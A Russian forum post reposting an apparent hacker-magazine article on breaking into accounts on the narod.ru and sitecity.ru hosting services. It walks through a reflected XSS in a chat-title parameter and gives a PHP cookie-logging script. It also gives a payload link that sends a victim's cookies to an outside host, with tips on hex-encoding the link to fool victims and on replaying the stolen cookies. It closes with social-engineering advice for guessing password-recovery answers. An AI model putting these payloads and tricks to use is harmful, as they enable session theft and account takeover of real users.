Несущий БАН
Группа: Админ
Сообщений: 2083
|
Вот ещё вар, но только сложноватый: Мелкие бреши крупных систем Если ты читаешь наш журнал давно, то наверняка вспомнишь множество интересных взломов. Ломали все — от домашних страниц Васи Пупкина путем перебора паролей до крутых порталов типа mail.ru. Я сам не так давно писал о багах в Новой Почте. Но есть сайты, взломать которые нашим парням не удавалось. Например Рамблер.ру или знаменитый бесплатный хостинг Народ.ру. Защита этих ресурсов продумана до мелочей и дефейснуть их практически невозможно. Однако мелкие прорехи в них все же есть. Сегодня я расскажу тебе о том, как безо всякого геморроя утащить аккаунт с народного сайта. [narod.ru] Народ.ру — подпроект поисковой системы Яндекс. Это, пожалуй, самый известный бесплатный хостинг в рунете, имеющий репутацию свалки. И действительно, чего тут только нет: и домашние страницы, и сайты липовых корпораций, и представительства кидал, предлагающих заработать лимон баксов, вложив всего полтинник вечнозеленых. Помимо хостинга, действует почтовая служба. И не только почтовая: Яндекс буквально с головы до ног оброс разными сервисами, которые давно привлекали мое внимание. Свой путь я начал с головной страницы народ.ру. Поддавшись рекламным лозунгам, зарегистрировался и создал свой сайт — xbit77.narod.ru. Кстати, должен отметить, что, вопреки расхожему мнению, народ.ру вовсе не такой уж и детский сервис. Поимев свой аккаунт, ты при помощи специальных мастеров сможешь сверстать чудо-юдо-творение всего за 60 секунд. Правда, и качество такого сайта будет на уровне. Панель управления сайтом меня, честно говоря, впечатлила: куча всяких интересных настроек плюс бонусные фичи типа автоматизации платежей через систему Яндекс.Деньги и бесплатных дополнительных скриптов. В общем, система продумана очень хорошо, в том числе с точки зрения безопасности. Увы, за всю историю общения с народом мне так и не удалось вывести на экран сообщение об ошибке. [начинаем осмотр пациента] Зарегистрировавшись в системе, я принялся ощупывать ее. Испытания начал с конструктора сайтов. Создание сайта при помощи конструктора на narod.ru разбито на несколько этапов. Сначала предлагалось выбрать шаблон оформления, затем дизайн главной и других страниц. Все данные, которые запрашивались — информация для непосредственного вбивания в будущий файл. Одним словом, опасных моментов практически не было. Набросав таким образом несколько страниц, я приступил к дальнейшему исследованию пользовательской панели. Мое внимание привлек пункт «Управление файлами и HTML-редактор». Перейдя по ссылке, я увидел до боли знакомую форму управления файловой системой. Я уже имел дело с похожими скриптами на других, менее известных ресурсах. Практически все они страдали опасным недугом — позволяли пользователю выходить за пределы собственной директории. Недолго думая, я попытался создать файл с именем ../../../../../../../xakep.htm. Чтобы было, если бы мне удалось сделать это, объяснять не надо: простейший ASP-скрипт вмиг произвел бы дефейс (серверы народ.ру работают под управлением Windows Server, хоть сканеры это и не показывают). Но у меня ничего не вышло :(. [первый облом] Появилось сообщение, в котором дотошно рассказывалось о правилах создания файлов. Упомяну о сканерах безопасности. Особо не веря в успех их использования на данном серваке, я все же не преминул воспользоваться X-spider’ом. Результаты его работы были нулевыми. Паук не смог определить даже тип операционной системы, под которой работает хостинг (то, что всем заправляет Windows Server, я знал уже давно от знакомых веб-мастеров). После экспериментов с созданием файла я перешел к процедуре удаления :). И снова обломался. Скрипты народа никак не хотели выпускать меня в пространство вне отведенных рамок. Еще полчаса бессмысленного копания в панели управления показали, что «маленькой победоносной войной» тут не справишься, и я принялся искать другие потенциально опасные точки. Мое внимание привлекли дополнительные скрипты, которые раздаются автоматически вместе с местом под сайт: форум, guestbook, чат. Пропарившись несколько минут с форумом и чатом, я так и не заметил ничего подозрительного: все входящие данные тщательно фильтровались, ни одно пробное сообщение типа <h1>XAKEP</h1> не отобразилось должным образом. Начиная опыты с гостевой книгой, я уже подсознательно понимал, чем все кончится, и был прав. Уязвимостей не было. Правда, в ходе тестирования я заметил, что если передать в строке параметров не номер юзера, а его ник, то скрипт сработает одинаково. Тут запахло SQL-инъекцией, и ближайшие полчаса я пытался составить запрос к базе данных. Но к успеху это не привело: очередной облом полностью испортил мне настроение, и я решил на время отложить штурм бастиона. Я даже хотел уже идти спать, но в мою асю постучал очень хороший друг, с которым я постоянно общаюсь в Сети. Он рассказывал о том, что, гуляя по Сети, он наткнулся на интересный линк, который вел в чат-комнату на народ.ру. [необычная зацепка] Весело проведя время, я уже захотел уходить и стал сворачивать софт. Но когда дело дошло до аси, я решил еще пару часиков потусовать в инете. В асе красовалась ссылка на чат-сообщество, по которой я перешел каких-то 20 минут назад. Но тогда я не обратил на нее внимания. Вот этот линк: A%EE+%E4%E5%E2%EE%F7%EA%E0%EC%29&com_id=96366 Вроде ничего необычного. Я сам не придал бы никакого значения этой ссылке, если бы не вспомнил, что при тестировании, которое я провел ранее, ссылка на чат была немного иной. После разбора передаваемых параметров у меня появилась слабая надежда на проведение css-атаки. Обрати внимание на параметр ChatTitle: его значение очень похоже на текст в hex-кодировке. Посмотри на скриншот и подумай, куда вставляется значение этой переменной. Правильно: в название сообщества. Как я уже говорил, ранее все скрипты народ.ру тщательно фильтровали входящие параметры, однако программисты могли не учесть опасности подмены заголовка сообщества. Чтобы проверить свои предположения на практике, я обратился к следующей ссылке: >XAKEP</h1>&com_id=96366 [понеслась!] Сервер вернул мне страницу, которую ты можешь наблюдать на соответствующем скрине. Было очевидно, что переменная вообще никак не фильтровалась, и я составил другой запрос: language=”javascript”>alert(document.cookie);</script>&com_id=96366 Функция alert() исправно выдала мне одержимое всех куков, которые народ.ру установил на моем компе. В ходе авторизации детище Яндекса устанавливает пользователям кукисы, в которых содержится вся нужная инфа для доступа к мылу и сайту жертвы. Подробно расписывать, что делать дальше, я не буду: уже писал в позапрошлом номере, да и вообще о проведении CSS-атак мы писали не раз и не два. Повторюсь лишь, что нужен хостинг с поддержкой PHP, куда необходимо залить сценарий write.php: <? if ($QUERY_STRING=="") exit; $f=fopen ("data.dat","a+"); fwrite($f, "$QUERY_STRING \n"); fclose($f); echo "Все ок"; ?> Этот сценарий записывает параметры, переданные JavaScript-жуком. Самого жучка внедряем в ссылку и подсовываем ламеру. Вид ссылки должен быть следующий: <script language=”javascript”>open('http://xbit.switch.pp.ru/write.php?'+document.cookie); </script>close();&com_id=96366 Естественно, вместо нужно поставить адрес хоста хакера. Как я уже упоминал в прошлой статье, код линка лучше перевести в hex-кодировку, чтобы ламер не запалил теги в ссылке. Результат всей операции — украденные куки юзера. Печенье устанавливается во время авторизации. Для того чтобы успешно залогиниться под видом жертвы, нужно для начала завести свой аккаунт и пройти авторизацию, тогда появятся печенья, которые позже можно отредактировать. Лично я пользуюсь для этих целей Cookie Editor’ом. Данная программа предельно проста в освоении. Все, что требуется, так это указать хост куки, которого нужно подправить. После этого откроется простенькое окно, в которое вместо своих записей нужно вбить украденные. Сохранить изменения и ползти на головной сайт народа — проверять правильность прохождения квеста. Об этом известит приветствие в правом верхнем углу. [город Сайтов] После опытов с народ.ру мне захотелось прощупать какой-нибудь другой бесплатный хостинг, на котором располагался бы онлайновый конструктор. Таким сервисом стал SiteCity.RU. Однако я не только не смог взломать этот конструктор — у меня не получилось даже зарегистрироваться. Сервис никак не хотел высылать мне пароль на указанное мыло. Повторив процедуру еще несколько раз, я пришел к выводу о том, что сервису не нужны новые пользователи, и приступил к «поверхностному» изучению проекта. SiteCity.ru интересен тем, что люди, воспользовавшиеся хостингом этого сервиса, могут общаться друг с другом посредством личных сообщений. Список наиболее активных пользователей есть на головной странице проекта. Именно через рассылку личных сообщений я и пытался осуществить CSS-нападение. После попытки войти под своим старым аккаунтом (он был заведен еще с незапамятных времен, когда я только начинал заниматься веб-строительством) меня перекинуло на страницу «http://sitecity.ru/badlogin.phtml?message=Неверный логин». Думаю, не нужно пояснять, что было после того как я посмотрел на адрес страницы с ошибкой. Тут же последовал запрос: «http://sitecity.ru/badlogin.phtml?message=<h1>XAKEP</h1>». Результат виден на скриншоте. К сожалению, я так и не смог зарегистрироваться на сервисе, чтобы изучить кукисы юзера, а проводить атаку на сторонних пользователей я не захотел. Но в любом случае брешь есть и хакер может использовать ее для своих грязных целей. [заключение] Как видишь, даже такие серьезные и популярные сервисы имеют недостатки в защите. Да, нанести сервису серьезный вред не удалось, однако заполучить аккуант практически любого юзера не составит труда. И что-то мне подсказывает, что еще очень долго после выхода этой статьи брешь так и будет оставаться неприкрытой. Взять, например, newmail.ru. Об аналогичном баге я писал два месяца назад, а дыра так и осталась незакрытой. Такое положение дел объясняется прежде всего ленью админов и их нежеланием защищать собственных пользователей. Хотя, может, они просто не читают «Хакер»? [как топили Народ.ру раньше] Когда эта статья была уже почти написана, я решил проверить, были ли прецеденты взлома этого хостинга. Существуют ли какие-нибудь баги в системе народа. Загрузив Яндекс, я вбил соответствующий запрос. На меня высыпалось несколько десятков тысяч линков на сайты с заголовком «Взлом сайтов на народ.ру!!!». Это меня, мягко говоря, удивило, и я, загрузив сразу пять линков, начал изучать хак-стори. На самом деле никакой хак-стори не было. Взламывать сайты на народ.ру предлагалось при помощи методов социальной инженерии, то есть липовыми письмами от администрации хостинга с просьбой восстановить пароли по адресу real-support-narod.ru.haker.ru или, еще примитивнее, выслать на мыло. Это навело меня на некоторые мысли, и я, недолго думая, переместился к пункту восстановления пароля с главной страницы хостинга. Для того чтобы забывчивому юзеру напомнили его пароль, необходимо ответить на секретный вопрос вроде «Ваше любимое блюдо?» или «Девичья фамилия матери?». После ввода верного ответа будет предложено ввести новый пасс. Понятно, что если ты хорошо знаешь человека, то не составит труда отнять у него ящик. Отобрать сайт будет так же просто, как мыло по тазику гонять, даже если ты не знаком с жертвой. Никто же не отменял IRC и ICQ, в которых можно втереться в доверие и так невзначай спросить о кулинарных пристрастиях пациента либо же разузнать кличку его собаки.
|